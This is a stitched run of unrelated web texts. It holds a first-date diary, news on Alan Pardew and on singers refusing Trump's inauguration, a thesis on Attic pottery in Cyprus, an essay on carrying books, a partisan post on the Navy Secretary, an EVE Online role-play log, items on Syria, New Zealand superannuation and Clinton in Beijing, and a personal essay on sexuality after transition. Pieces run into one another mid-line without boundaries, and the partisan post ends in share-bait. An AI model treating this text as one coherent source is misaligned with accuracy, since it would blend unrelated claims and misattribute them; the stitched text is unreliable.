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I have a wicked sense of humour, and almost no boundaries.” Maggie’s friends and family make her feel fulfilled, but she says she would like to have “one special man” in her life. Out of the blue, I got a message from a man with very little on his online-dating profile. No pictures, and almost no information. He included some compliments on my profile pictures, and references to things we had in common. He also said he was tall and athletic and would share pictures if I wanted him to.
After a heated make-out session — with breaks to watch a baseball game on TV — Maggie and her date stayed on the couch and abandoned their plans to go for a walk. ( Dreamstime )
I gave him the email address that I use just for dating — no last name! — and said I’d welcome pictures. Shortly after, a big smile stared out at me from my phone. He was so handsome that I decided there was no reason not to reply. That was the first dating rule I broke with Dennis: engaging with someone without sussing out the basics of who he was and what he wanted. He could have been married, looking for hookups, or live too far away. But I figured the randomness of his outreach was almost reason enough to see where things could go. Plus he was so handsome. We exchanged a few emails, and I gave him my burner phone number so we could text. On the first call, we talked for over an hour. We spoke again, and again, and again: more than 10 hours in total. Like a lot of women, I don’t like to spend so much time engaging with someone before I meet them. It’s too easy to get my hopes up, just to discover there’s no real chemistry.
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We agreed to meet close to my place on a weekend afternoon. I told him he could park at my house. That’s another rule I broke, that a lot of women abide by: never meet someone for the first time where you live. But we did. Dennis had given me his name and birthday, and I’d independently confirmed that he was who he said he was. When I opened my door my first thought was that he really was as tall as he said he was, quickly followed by the thought that he’s even more handsome in real life than he was in the pictures. I had planned to take him on a walk around my beautiful neighbourhood. I knew we would have dinner back at my place, if we were getting along after the walk. And we’d already talked about our views on first-date sex. Dennis arrived with a small gift bag. Knowing I’d had some recent, unusual-for-me stresses, he brought me a great selection of chocolates. I was impressed. A bottle of wine or flowers is nice, but standard. This showed he’d been thinking about me. Before we left for the walk, we sat on my couch and talked. He was affectionate. I liked it. When we kissed, it was good. The conversation flowed just like it did on the phone. We realized a game was on TV that we were both interested in, so we turned it on. This was something I would never do on a sixth date, let alone a first. We talked and occasionally turned our attention to the TV when something exciting happened. We got a bit more heated, but would take breaks and talk. Between the baseball and the make-out session, we abandoned plans to go on a walk.
However, I soon realized I was getting a migraine. They often hit with no warning. I took my usual medicine and waited for it to take effect. He was very understanding. I sheepishly told Dennis that sex increases blood flow, which sometimes helps migraines. At the very least, it would distract me. All of my first date rules were now officially thrown out the window.
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Although I lose my appetite during a migraine, I knew he was hungry. I was in no condition to leave my house, so Dennis offered to pick something up for us. I ordered from my favourite restaurant, and he picked it up and paid. I liked a lot of things about him, obviously. But what I liked the most was his willingness to have an unusual first date. Maggie rates her date (out of 10): 7 Want to be a dating diarist? Email datingdiariescontact@gmail.comAlan Pardew, right, has previously managed four clubs in the Premier League
West Brom are set to appoint former Newcastle and Crystal Palace boss Alan Pardew as their manager on Wednesday.
The Baggies sacked Tony Pulis on 20 November after going 10 Premier League games without a victory and sitting a point above the relegation zone.
Pardew, who has been out of the game since being sacked by Palace in December 2016, is expected to sign a deal until 2020.
The 56-year-old will become Albion's sixth permanent boss since 2011.
West Brom let slip a two-goal lead on Tuesday as they drew 2-2 at home to Newcastle, but moved up to 16th place in the table ahead of Everton.
Pardew, a former team-mate of West Brom technical director Nick Hammond, will take charge of his first game against former club Palace at The Hawthorns on Saturday, 2 December (15:00 GMT).
Albion then face trips to Liverpool and Swansea before a home fixture against Manchester United.
Pardew, who has also had spells at Reading, West Ham, Charlton and Southampton in an 18-year managerial career, has been a losing FA Cup finalist twice as a manager.
He was named LMA Manager of the Year in 2012 after he guided Newcastle to fifth place in the Premier League.
Former West Brom boss Gary Megson has taken temporary charge since Pulis' departure.
"I will meet the chairman at 10:00 tomorrow, what about? I don't know," Megson said following the draw against Newcastle.
"Something has to be done at some point. I was just told in the interim period to take the team. What I've done the last eight or nine days is what I've done for the last 20 years, so I have enjoyed all that.
"I haven't applied for manager jobs in the last three years but whatever happens now, if ones do come up I will apply."LONDON/NEW YORK (Reuters) - British singers Charlotte Church and Rebecca Ferguson have rejected invitations from U.S. President-elect Donald Trump’s team to perform at his inauguration next week, they said in separate statements on Tuesday.
FILE PHOTO - British singer Charlotte Church arrives at a division of the High Court, in central London, February 27, 2012. REUTERS/Andrew Winning/File Photo
The rejections follow other apparent snubs by celebrities including Elton John, whose publicist denied in November that he would be performing at the event after an economic adviser to Trump had said that he would.
“@realDonaldTrump Your staff have asked me to sing at your inauguration, a simple Internet search would show I think you’re a tyrant. Bye,” wrote Church in a tweet she concluded with derogatory emojis.
Tom Barrack, a longtime friend of Trump who is organizing the Jan. 20 event, brushed aside suggestions that there would be a lack of star power at the Jan. 20 festivities.
Barrack told reporters that Trump himself was “the greatest celebrity in the world” and that the inauguration committee was aiming for a “much more poetic cadence” rather than “a circus-like celebration that’s a coronation.”
Trump’s inauguration committee did not reply to requests for comment about Church and Ferguson.
Classical crossover singer Jackie Evancho, who rose to fame as a child performer on the TV show “America’s Got Talent” six years ago, has confirmed she would sing the U.S. national anthem at Trump’s inauguration.
Church, who also began her career as a child classical singer, has spoken out in recent years about her left-leaning political views, and posted multiple tweets during the 2016 campaign criticizing Trump.
Ferguson, who gained prominence as a runner-up on the TV talent show “The X Factor” in 2010, said on Tuesday she too had refused to perform at Trump’s inauguration because her choice of the song “Strange Fruit” was rejected.
The anti-racist song, which has been performed by the likes of Billie Holiday and Nina Simone, protests against the lynching of African-Americans in the South in the early 20th century.
“I requested to sing ‘Strange Fruit’ as I felt it was the only song that would not compromise my artistic integrity,” Ferguson said in a statement.
“As music is so powerful, I wanted to try and help educate the people watching of where division and separation can lead to if not corrected. My aim was not to cause contention,” she said.King to test knee but will be offered coaching role if he turns down deal
Ledley King will put his troublesome knee to the test before deciding whether to retire this summer.
But the Tottenham stalwart will be offered a coaching role at the club should he decide to hang up his boots.
Decisions, decisions: Ledley King (left) will make his Spurs future known
King’s current Spurs contract officially expires on Sunday and he has yet to sign fresh terms.
And the central-defender - whose career has been ravaged by knee problems - will see how his body holds up to the rigours of pre-season before making decision on whether to retire.
Stalwart: King has been at White Hart Lane since 1998
King underwent yet another knee operation at the end of last season and is unsure whether the joint could get through another Premier League season.
The former England international will hold talks with manager-in-waiting Andre Villas-Boas after the club’s pre-season tour of America.
King will be offered a coaching or ambassadorial role at the club should he decide to call it a day.Athenian pottery was exported to both east and west. In Cyprus the pottery was exported for about 300 years and it became a part of the Cypriots' life. It also inspired the local potters and painters to create their own versions of the imagery and enrich them with local elements. This is described in a new doctoral thesis from the University of Gothenburg, Sweden.
Niki Eriksson, who has studied the Attic pottery found in Cyprus, points out that the pottery was imported from the early 500s BC to the late 300 BC, she also adds that a similar distribution to the Eastern Mediterranean suggests that a great part of the Cypriote import is of the same mercantile transactions, which were operated by the Phoenicians. There are, however, reasons to believe that there were direct commercial contacts with Athens and that private individuals who visited Athens brought some of the pottery to Cyprus.
Cypriots showed a particular preference for drinking vessels and perfume flasks. Niki Eriksson suggests that the Cypriots wanted a precious piece of pottery that they could use in their everyday activities and at the same time honor their gods and dead ancestors. Kraters which, were big bowls in which wine and water was mixed were the most popular votive gifts and were most probably used during the religious festivities.
The iconographical representations reflect the imaginary world of the Greeks. By studying the iconography one may follow the art development, the personalities of the pottery painters and the taste of the different customers.
The popularity of the pottery owed not only to its high quality but also to its rich iconography, which enabled the customer to use it in different occasions as for example the religious feasts at the sanctuaries where the rituals and the visual symbols found on the vessels helped the island's inhabitants to form common culture and identities.
Thesis.To be honest, I don’t know where I first picked up this bit of advice (probably in some Medium blog!), but it’s been with me for close to three years now:
“If you spend enough time carrying a book around, you’ll eventually read the damn thing.”
It may be annoying at first. It may be outright stupid for weeks or more. But like any hobby, diet, or habit change that you want to commit to, you have to stick it out for the painful beginning no matter how badly you fail.
Then, once you’ve endured the grueling embarrassment of admitting to your colleagues over and over that you still haven’t made it past the prologue — that’s where shame meets change. You start reading the damn book.
Here are a few reasons carrying a book with me at all times has changed how I spend my time and my interactions with those around me:
1. People are always late to meetings.
Always late. Don’t get pissed off, read a book.
I would say in three out of five meetings, my appointment shows up at least five to ten minutes late. And I know it’s Washington, D.C. — the tardiest place on earth. So I’ve since taken practical steps to limit the outrage on my face when they show.
What is it you usually do in those precious minutes as you await your date? You surf Twitter, scroll through Facebook/Instagram, or anything else to get your mind off the fact that you’re awkwardly finding refuge in a cold coffee shop, having yet to purchase anything.
What about reading? I’m sure many of us read our work emails or skim through some articles. But that’s not the same — not by a long shot. I’ve found there’s nothing more comforting and relieving ahead of a blind date or important conversation than diving into a book you love (presumably you’ve picked it, so you enjoy it?). Reading things you want to vs. things you have to makes a huge difference.
Just a few weeks back I sat at a coffee shop for 40 minutes. The person never showed (or responded to email), but had they appeared at 41 minutes, I would still have been happy to see them. Time flew by and, honestly, I spent the time how I wanted to: nose-deep in a book.
2. It’s a wonderful ice-breaker
Meeting new people is always hard. Break the ice by talking about what you’ve read (and catch them up since they were ten minutes late).
This has definitely been essential for me. Politics may be a group sport, but networking is everything in Washington. I meet a lot of strangers and it is important (perhaps more here than anywhere) to make a good impression to future employees and colleagues.
It’s a fact that people are meeting you because they want to be interested in you. Whether for ambition or pleasure, no one really wants to suffer.
However, not everyone has high emotional intelligence (EI). In fact, I have terrible EI. So, instead of taking sensitivity training or learning how to tap into my feelings, I’ve found that breaking the ice about my current read sets a wonderful tone for my conversations.
I also find it helpful that reading a book is a physical act — an imprinting.
Unlike an article, which is short-lived and difficult to recall (I should add that articles are usually shallow as well), a book gives you a full set of readily available arguments, chapters, or narratives to speak to; an endless tome of information you can offer to your fledgling conversation if you can’t seem to find anything else to discuss.
3. You’ll be more peaceful and social
You’ll actually have something to do. Don’t believe me?
One of the things I’ve noticed since donning a smartphone ten years ago was how reliant and neurotic I am when it comes to data and cell reception. Obviously it’s gotten better since the days when I had Suncom, but there’s still the problem of morning commutes, tunnels, and crowded parks.
There are even bizarre moments in perfectly open areas of the city where THERE ARE LITERALLY NO PEOPLE that my signal drops and I can’t send a tweet or access my email.
In those times, I lose my mind. Cortisol spills into my brain and I’m manically sliding my finger to refresh a dead feed. Humans are suckers for instant gratification.
So in those moments of dead time (there are a remarkable number of these, by the way), I’ve found my physical, offline, no-plug-necessary book to be a huge benefit. Instead of falling asleep, droning into my headphones, or playing a stupid freemium game, I read. And it’s wonderful.
And I know you are going to say: “just use an offline reader!” I do use Pocket a lot when there’s an especially good article I want to read. But even Pocket is vulnerable to the aforementioned data issues. I most often find myself refreshing to “get that article I just saved!”
Bonus: additionally, I am forced to be present with the human beings around me, which is a huge plus since I am not a people person AT ALL.
At first I figured being deep into a book would be the same as listening to music, but it’s not. Having your ears unplugged means you can react to people around you; when they ask for directions, or trip/fall, or do something small. I find it so easy to quickly look up mid-sentence and cue into what is going on around me.
I’m sure everyone is different in this respect, but I find myself being more present than ever before. I speak with strangers often — even though they largely respect that I’m reading and make our chats short. But then, if I’m interested in continuing, closing a book is a clear indication of my intent.
Unlike headphones and screens, which are ambiguous, when you close a book, you can no longer read it. And people get that.
4. You’ll actually finish a book.
See. You were a skeptic. You didn’t think it would work. But after a month of carrying around that 200 page biography, you finally finished it!
Reading is hard work. And in our ever-growing digital landscape, people are stopping altogether. Pew Research says “A quarter of American adults (26%) say they haven’t read a book in whole or in part in the past year.” How sad is that?
But not you. You’ve set into motion a wonderful habit of finding little parcels of time throughout your day and resting in the warm embrace of a good read. If that’s not worth it, I don’t know what is.
5. You’ll pick up another and become a faster reader
Reading = more reading! It’s science.
Regardless of new technologies, multi-screen learning, or video tutorials, study after study continues to correlate intelligence and performance with just one thing: your ability to read.
Don’t be lazy. If you let yourself become complacent or focus too heavily on screens to provide you with arguments and information, you’re going to miss out on all the benefits of a good, hard book.It might be supposed that dogs like Bach, but a new study suggests they prefer something with a little bit more bite.
Far from enjoying the strains for classical music, dogs are happier listening to soft rock or reggae, according to the University of Glasgow and the Scottish SPCA.
Reggae music and soft rock were found to provoke the most positive changes in behaviour and the animal charity is now planning to install sound systems in all its kennels to play Bob Marley and Jon Bon Jovi to their unsuspecting charges.
Neil Evans, professor of integrative physiology at the University of Glasgow's Institute of Biodiversity, Animal Health and Comparative Medicine, said: "Overall, the response to different genres was mixed, highlighting the possibility that, like humans, our canine friends have their own individual music preferences.
"That being said, reggae music and soft rock showed the highest positive changes in behaviour.
“There is some evidence from work in humans that suggests that the relaxing effects of music are related to aspects of tempo or repeated motifs that can be present in the music.
“ Possibly the reggae and softrock have that more overtly expressed.”The liberal cabinet and department heads have launched an all-out assault against President-Elect Donald Trump since the morning of November 9th.
Now, President Obama’s Navy Secretary says that if Trump were to roll back female integration into the military, there will be consequences.
The Daily Caller reports:
Secretary of the Navy Ray Mabus said recently in a December interview that while GOP President-elect Donald Trump can roll back social change in the military, doing so will make the force weaker. Mabus, who has served in the position longer than anyone since World War I, has overseen significant social changes in the military and caused a lot of consternation in the process. Now, in a wide-ranging interview with The Washington Post, he’s warning that if Trump rolls back social change in the military, he should admit that it will damage the force. “You make the decisions you think are right, right now, regardless what you think is going to happen in the future,” Mabus said. “But we are stronger because of this integration. That is undeniably true. So, if it gets rolled back, you’re weakening the United States military. You’re weakening the Navy. You’re weakening the Marine Corps. If that’s what you want to do, okay. But you have to be honest about it.”
War never changes — but the people who fight in it do, apparently. This leftist Navy secretary is undermining the safety and security of America by conforming to the social justice warriors who care more about gender than victory.
But over all, they’re just scared Trump will end the military’s politically correct rules and regulations.
SHARE on Facebook and Twitter if you agree that Obama’s administration is a disgrace!
http://www.wedgies.com/question/should-donald-trump-get-a-special-prosecutor-to-go-after-hillary-pkaqxxn5zcBut according to the new study, the program’s most important attribute might be the relationships that are developed within it. By creating strong social ties, the program “fosters a sense of belonging for BAM youth that influences positive identity development and, for some youth, extends to a broader sense of belonging with other prosocial networks,” according to the authors of the report.
When I heard about the new study, I reached out to the BAM founder, Anthony Di Vittorio, to learn more. The interview that follows has been lightly edited for length and clarity.
Ulrich Boser: The Becoming a Man Program has shown some great results. How do you explain that success?
Anthony Di Vittorio: Well, I would say the most important thing is that you have to start with the men who lead the program. We are looking for people who are looking to go on this journey, who are willing to take a ride to ruthless self-examination.
We’re looking for men who have a hybrid set of skills that is hard to find. We’re looking for a man who is capable of relating to youths well. Someone who has strong youth-engagement skills, someone that can walk the halls of any high school, walk the corridors, go to the lunch rooms, and rather instantly become the messenger.
Because we know that it’s not the message. The kids have heard “Stay in school and stay away from drugs” 1,001 times. It’s the messenger. The clouds part and the sunshine comes through when the right messenger is there.
Boser: Why is the program called Becoming a Man? Don’t boys automatically grow up to men?
Di Vittorio: Yes, we all do. But we don’t have a standardized textbook that we’re given at age 12 that says, “Read these 30 chapters, do this, and you are now initiated as a man.” We address that in the BAM program. When you come to the BAM program we don’t say, “All right, you’re going to finish this program in 18 months and you’ll have your diploma and you will now be an inducted man.”
Instead, what we say is that all of our youth have had these obstacles, and it’s confusing. And if you come to the BAM program, together we will start to look at values like integrity. We say that we’re going to practice these core values. The ultimate goal is internalizing these core values so that they make optimal decisions based upon them.
Boser: So each person creates his own identity of manhood?
Di Vittorio: Right. As I’m the BAM counselor, I’m going to say, “Let’s talk about this concept of integrity.” We’ll practice it and then get the kid to an experiential understanding of what that idea means and relate it to his life with contemporary issues.
And then what happens is you start to value the value, and as they start to value these values, they become these guiding structures in their lives. And that’s where the changes starts to come in.[16:54:39] J174618 accessed via Oicx, Gallente/Caldari warzone, Placid Region.
Captain’s log: Julianus Soter commanding VAS Discovery, a Helios-class covert ops. Patrolling the various systems in the region for Drifter-constructed “Unknown Wormholes”, I finally struck success. The Oicx system, directly adjacent to our headquarters of Vlillirier, had at least two wormholes open, and I decided to take the plunge into the mysterious and dangerous Hive systems to gain more intelligence about the Drifter presence there.
While many in the Federation celebrated the death of Empress Jamyl Sarum, meeting her untimely demise by a devastating precision strike by a fleet of Drifter battleships, the Drifter’s vast force and immense military strength cannot be ignored forever. We must gain first-hand knowledge and combat experience with the Drifters, or we will be at a severe disadvantage if hostilities escalated between New Eden and the Vigilant Tyrannos.
With this in mind, I conducted a thorough survey of the Redoubt system, placing the images here for others to review and analyze.
The Redoubt in the system is clearly the heart of Drifter operations for the area. Unfortunately, given my lack of manpower, I was unable to penetrate the complex to the central Hive. However, I took the following images.
Floating past the Sleeper guard frigates, I was able to take the Discovery past the squadron to the Nexus Transfer. What awaited was a spectacular sight to behold.
Following this, I took the Discovery out of the Redoubt complex. I decided to investigate the other signatures inside the system.
Upon locating the Drifter patrol squadron, I notified by alliance members over fluid router FTL that we needed to form a squad to engage them. I had a plan: by using the radiation produced by the system’s star, I could have my fleet confuse the Drifter’s targeting systems. Heavily armored and afterburner-equipped Enyo class assault frigates would do the trick. This squadron would then be further enhanced by a Skirmish Warefare Link Magus class command destroyer. The Drifter and Sleeper weapons would fumble around attempting to swat at flies, for all the good it would do them. We launched the attack.
The operation was a success. We also reclaimed several Sleeper data modules and four Antikythera Elements to bring back to Vlillirier for further analysis. We will conduct further patrols in the area to see what else the Drifters may be hiding, in the weeks to come.
AdvertisementsCountering Russia was never even part of the original reason for Washington to get involved in the Syrian conflict, CIA veteran Paul R. Pillar notes, warning American hotheads from Washington against distributing sophisticated anti-aircraft weapons to the fractured Syria opposition.
The specter of a proxy war between Russia and the United States is prowling around the Middle East, academic and 28-year veteran of the Central Intelligence Agency (CIA) Paul R. Pillar notes, drawing historic parallels between Moscow's current operation in Syria and the USSR's involvement in Afghanistan.
Although Russia's Syrian military campaign indeed bears some resemblance to what occurred in Afghanistan in the 1980s, Washington should not delude itself into repeating Ronald Reagan's strategy.
"The Afghan mujahedin's war against the Soviets is the subject of fond Cold War memories of many people on the US side of the Cold War divide. The effort, begun under Jimmy Carter and continued under Ronald Reagan, to supply the mujahedin is widely perceived as having been instrumental in defeating the Soviets in Afghanistan, a defeat that in turn is often seen as contributing significantly to the downfall of the Soviet Union itself," Pillar wrote in his blog post at The National Interest's website.
Ministry of Defense of the Russian Federation Game-Changer: Russia's Involvement in Syria Shifts Balance of Power
However, referring to the US' Afghani "success," American policymakers usually focus "too narrowly and shortsightedly" on defeating the USSR, while turning a blind eye to the fact that Afghanistan then turned into a 14-years political and military quagmire for Washington.
Those who demand that Assad "must go" should remember that "one of the principal lessons from Afghanistan" indicates that the defeat of a despised regime does not automatically lead to peace, let alone anything resembling democracy, the CIA veteran underscored.
"The post-Najibullah phase of Afghan history demonstrated the pattern seen elsewhere as well, and being seen today in Syria, of radicals crowding out moderates in a situation of prolonged warfare and instability. It is in the nature of such situations for such a pattern to prevail, civil war being an inherently immoderate thing to wage. In Afghanistan, the Stingers and other US aid bought the United States little or nothing in the way of subsequent influence," Pillar stressed.
Furthermore, it would be dangerous to provide "the fractured Syrian opposition" with US sophisticated anti-aircraft weaponry, since it would result in a "significant chance" that such weapons would be used against the US Air Force.
"The comparison with Syria ought to be too obvious to need much reflection, given the current reality of the radical group ISIS [ISIL], as well as an Al Qaeda affiliate, forming a major part of the alternative to the Assad regime," the CIA veteran reminded.
© Photo : pixabay Syrian Chessboard: How Putin Will Win Out Over US Grandmasters
Washington's policy-makers should also remember that there is not a Cold War anymore between the West and Russia and "countering Russia" has never been a part of the US strategy in Syria. By messing up the original reason for the US to get involved in the Syrian conflict US politicians would succeed in transforming "the potential proxy war" between Moscow and Washington into a "real one," the expert warned.
Those American policy-makers who are now pointing the finger at Russia for aggravating tensions in Syria, should ask themselves whether they want to spend another 14 years settling the crisis in Syria.
"For now we ought to be glad to the extent that the costs of proto-quagmire fall on Russia and not on the United States," Pillar noted.
"We also ought to look to other silver linings in the gambit — which admittedly assume that Putin is as smart as he often is cracked up to be: that the Russian leader knows the only way to step out of a costly quagmire is to work diligently with other outside powers to negotiate some sort of resolution of the Syrian conflict," the CIA veteran underscored.Andrew Little said he opposed any changes to the superannuation age, due to the strain it could place on some elderly people.
Newly appointed Prime Minister Bill English should resume payments into the country's superannuation fund "as a matter of priority" - but keep the retirement age untouched, Labour leader Andrew Little says.
In his first press conference as prime minister, English ruled out making the same commitment as former prime minister John Key, who pledged to resign if he ever changed superannuation entitlements.
"I'm not making the same pledge as the previous prime minister did, that was a product of its time, where there was a need to establish trust.
MAARTEN HOLL/FAIRFAX NZ Prime Minister Bill English says he will not follow John Key's commitment not to change superannuation.
"I think it was a sound decision then, because the election was followed by a recession, which could have caused real insecurity for older people."
READ MORE:
* Bill and Mary English on life after becoming PM
* Big first steps from Bill English
* Six things to know: Bill English
* Photos: Leadership changeover
* An era ends: John Key packs up
Speaking to RNZ, Little said he opposed any changes to the superannuation age, due to the strain it could place on some elderly people.
"There are working people, people who do physical and manual jobs throughout their working life, right now they struggle to get to the age of 65 already.
"I met a line technician a few years ago who was 64, looking forward to his retirement at 65, his employer had approached him and said 'Listen, we can't find replacement line technicians, do you mind working until you're 70?
"He was horrified...he simply could not do that work anymore."
While people who worked in less physical professions could continue past 65, universal superannuation meant you needed the same rules for everybody.
CONTRIBUTIONS 'MATTER OF PRIORITY'
However, Little told RNZ the Government needed to resume contributions to the NZ Super Fund - put on hold after National won power in 2008 - "as a matter of priority" to ensure the country could afford the costs of superannuation.
"This government, the minute they got into government, stopped making contributions, they haven't put a dollar into it."
Closing the up to $20 billion shortfall in superannuation funding needed to be a priority, he said.
"One of the things we do well is avoiding elder poverty because of our superannuation scheme and we need to keep that."
At the Treasury's half-year update last week, English said contributions to the Super Fund would only resume once net debt fell below 20 per cent of GDP, expected to be in 2020/21.Clinton Says U.S. Will Stand Up For Strategic Interests
Hillary Clinton visited Beijing this week at the height of Communist Party maneuvering over the formation of a new Chinese government. Given that timing, she found no room for compromise over competing territorial claims by China and its neighbors over the South China Sea.
“China has sovereignty over the islands in the South China Sea and their adjacent waters,” Foreign Minister Yang Jeichi told her bluntly. “There is plentiful historical and jurisprudential evidence for that.”
And as for competing claims to the islands and waters by the likes of Vietnam, the Philippines, Brunei, Malaysia Taiwan and others, Yang had this to say:
“As for the dispute over the sovereignty of some islands and reefs of the Nansha (Spratly) Islands and the overlapping rights, interests, and claims over some waters of the South China Sea, these should be discussed by the directly concerned countries on the basis of the fact – of historical fact and international law, and handled and settled through direct negotiations and friendly consultation.”
Bilateral or Multilateral?
In other words, China was going to deal with its neighbors’ claims in one-on-one bilateral negotiations, not the multilateral talks concept being promoted by the United States. Beijing’s approach, said Yang, was fully in keeping with an existing “declaration of conduct” between China and the Association of Southeast Asian Nations, or ASEAN.
During her talks in Beijing, Clinton pushed back, saying the United States believes a more specific “code of conduct” with ASEAN is a better way to resolve the competing claims between China and its neighbors. She hastened to add that Washington was taking no position on the individual territorial claims, just pressing for a negotiating framework.
“Our interest is in the maintenance of peace and stability, respect for international law, freedom of navigation, and unimpeded lawful commerce,” Clinton said. “As a friend to the countries involved, we do believe it is in everyone’s interest that China and ASEAN engage in a diplomatic process toward the shared goal of a code of conduct.”
China has been critical of outside — read that U.S. — involvement in the rival maritime claims, saying foreign governments are stoking mistrust and enmity between China and its neighbors. To drive that point home, Clinton was welcomed to Beijing with reports in state-run media that many Chinese don’t like her.
“U.S. power is declining and it hasn’t enough economic strength or resources to dominate the Asia-Pacific region,” the official news agency, Xinhua, said in a commentary.
Yang did promise to “eventually” start talks with ASEAN over a code of conduct. But by agreeing to discuss terms for resolving a dispute, China seemed certain it has already won the argument. The move also put Clinton in the position of having to keep the more belligerent of the rival claimants to South China Sea territory — Vietnam and the Philippines — on board with a multi-lateral ASEAN solution.
Timing is important
Again, the timing of Clinton’s visit — in the middle of a leadership transition — may have contributed to the tone of her reception in China. There are also Beijing’s suspicions about the Obama administration’s greater military and economic involvement in the region — the so-called “Asia Pivot.”
So Clinton faced a steady stream of nationalism from officials apparently auditioning for a role in the new government.
“As for the United States policy towards the Asia Pacific region,” Yang told reporters at the Great Hall of the People, “we have always hoped that the United States would size up the situation and make sure that its policy is in conformity with the trends of our current era and the general wish of countries in the region to seek peace, development, and cooperation.”
Despite her rough reception in Beijing, Clinton says there was an important exchange of views ahead of this week’s summit of the Asia Pacific Economic Cooperation forum, this month’s meeting of the U.N. General Assembly and November’s East Asia Summit.
“The United States — certainly I, am not going to shy away from standing up for our strategic interests and expressing clearly where we differ,” Clinton said of the Beijing reception. “The mark of a mature relationship, whether it is between nations or people, is not whether we agree on everything, because that is highly unlikely between nations and people, but whether we can work through the issues that are difficult.”The Sacramento City Council on Tuesday night approved money to study a new I Street Bridge. Just more than $2 million was set aside for design and environmental review.Watch report: Sac City Council approves money for studying new I Street Bridge"The new facility will be located upriver (from the old bridge) and will connect to the Railyards River District," said Jesse Gotham, a senior engineer with the Public Works Department. "The currently bridge will remain in place -- what will be demolished will be the approach structures." Then and now: Sacramento's bridgesThe current I Street Bridge is more than 100 years old, and very narrow -- especially on the sidewalks. It can't accommodate buses and has no bike lanes.The new bridge will have wide lanes, bike lanes and a bigger walkway.The cities of Sacramento and West Sacramento are working together to replace the I Street Bridge by 2020. It will take about $80 million to make the project a reality.Both cities plan to apply for federal grants, which they believe could cover 100 percent of the cost.Officials said the new bridge will sit just north of the current bridge. It will provide better access for everyone and cross the Sacramento River between the railyards and West Sacramento.When the new bridge is built, the old I Street Bridge will be closed off to traffic and only used by railroad staff |
gmail dot com. Please include three references.
But the interesting thing is after a few minutes, I began to start thinking seriously about it. Like let’s say these weren’t people in internet-land, but in real life, here in Vancouver (as though there’s any other city that counts as “real life”… bah!). And let’s say they’re just as brilliant, awesome, intelligent, kind-hearted, etc. Pretty much everything I’m interested in in a partner. And let’s say they actually were indeed interested in me. And let’s even throw in a bonus and say they’re non-op, which would help with all the sexual compatibility stuff. Maybe I really would be interested in experimenting, and exploring a relationship with another woman?
Just a little later that evening, I also caught myself absent-mindedly thinking about sub/dom sexuality, and wondering whether it actually would be fun to try out being a dom. My whole life I’ve only ever been very definitively and consistently submissive. But here I was thinking “hey, maybe that would be interesting and sexy, assuming that kind of position of power”. I started thinking it could be really interesting to have that level of control over your partner’s sensations. Their pain, but also and pleasure. I started thinking about this sort of paradoxically selfless aspect to it. How although you’re nominally the “sadist” in the scene, your job is to ensure they have a satisfying experience. Much like there’s something strangely empowering about being a sub, I started thinking about how there could be something strangely giving about being a dom.
Now… bear with me, because I do have a point. I’m not just rambling about sex here.
(I really hope my mom isn’t reading this one)
See, the thing is that a couple years ago, before beginning transition, none of this would be anything I’d have been able to open-mindedly think about, or feel open to experimenting with. The idea of a female partner, or of assuming a top or dom role, just did not work for me. Even as an absent-minded daydreamy “what if” like what I was thinking about last night, the answer would have been a definitive “No. Not for me. Nope. Never.”
A lot of people describe various changes in sexual orientation over the course of transition. I feel that as tempting as it might be to attribute this fluidity to hormones, the answer is much more likely to be psychological. In transitioning, you almost by definition begin exploring sides of yourself that had previously been suppressed. You become more attuned with your own inner self and your desires and needs. You become more open. Your disguises and conditioning and learned “coping mechanisms” for dealing with your gender assignment begin to slip away. You become more…well… you.
It seems to me that a significant aspect of why, when living as male, the idea of being with a female partner or assuming a sexually dominant role were so uncomfortable was how that kind of sexuality forced a sort of assumed male-ness onto me. In those roles, either as the male contingent in heterosexual intercourse or as the dominant sexual partner, I was taking on roles that were traditionally and culturally coded as “male” and “masculine”. That ended up being this incredibly uncomfortable reminder of my own maleness, and being so reminded meant I could not possibly enjoy myself or let myself go. I was being directly confronted with the most painful aspect of my life and identity.
When taking a passive or submissive role with a male partner, I was at least able to sort of forget my male-ness. I could forget my body. Or at least forget those aspects that were most significantly sexed. At least the focus wasn’t on my penis. But also I wasn’t doing things that were understood to be “masculine”. I wasn’t “being a man”, and therefore wasn’t forced to think about how I was a man, or “male-bodied”.
Yesterday, I talked a little bit about how gender expression can be used as a means of asserting or realizing or actualizing one’s gender identity. Such as that if you identity as female, but you’re stuck in a situation where the only means you have to express or assert that femaleness, and make it understandable to yourself, is by playing with dolls or wearing pink, then you’re going to play with dolls and wear pink, regardless of how much or how little you genuinely prefer them to trucks and blue.
Comparably, if you’re in a sexual context where the only means available of expressing one’s gender is through the role you play, you’ll assume the role that’s coded as “feminine” or “female-ish” (if you can get away with it) as a means of expressing or actualizing that female gender identity, whether or not you mean to do so consciously… or at least as a means of avoiding having the male gender-assignment realized more powerfully instead.
What this has made sort of clear to me is the degree to which we gender sexual roles and acts, even in ways that are removed from any direct biological implications. For instance, why is being on top gendered as masculine and being on bottom gendered as feminine? Physiologically speaking, either way works just fine for straight couples. Why is dom a “masculine” role and sub a “feminine” role? Why is it coded as “feminine” to perform oral sex and “masculine” to receive it? What does it imply about our conceptual understanding of sex, and our underlying cultural misogyny, that we have this strict delineation of how we gender sexual actions and roles- to such an extent that we could probably name any sexual role at random and intuitively respond with whether it’s “feminine” or “masculine”? And of course, the primary line along which this gendering is done is whether the role reads as “sexual agent” or “sexual object”.
The increased openness that has come with transition, and suddenly noticing this opening of possibilities- the possibility to try sex with another woman, or assuming a dom role- this emerges from now no longer needing to have some way of maintaining a sense of female identity in sex, or avoiding masculinity at all costs. Sort of like how in transitioning, a trans woman who had previously been a cross-dresser will toss out all of her more frilly and exaggeratedly feminine clothes due to no longer needing those totemic symbols of femaleness now that she feels secure in actually being a woman, my being a woman is now physically actualized in such a way that I no longer need to express it through symbolically “feminine” sexual roles. It’s no longer a tiny, fragile, precious secret of my identity that I could only preserve in my sexuality by avoiding anything coded “masculine”. It’s now a strong, unwavering fact of my being, and will remain as such regardless of who I sleep with, or how.
This leaves me free to explore the entirety of sexual possibility, should I choose to do so. Nothing I choose to do sexually can now diminish or threaten my sense of myself as female. Just like I’m just as much a woman in a t-shirt and jeans as I am in a dress and leggings.
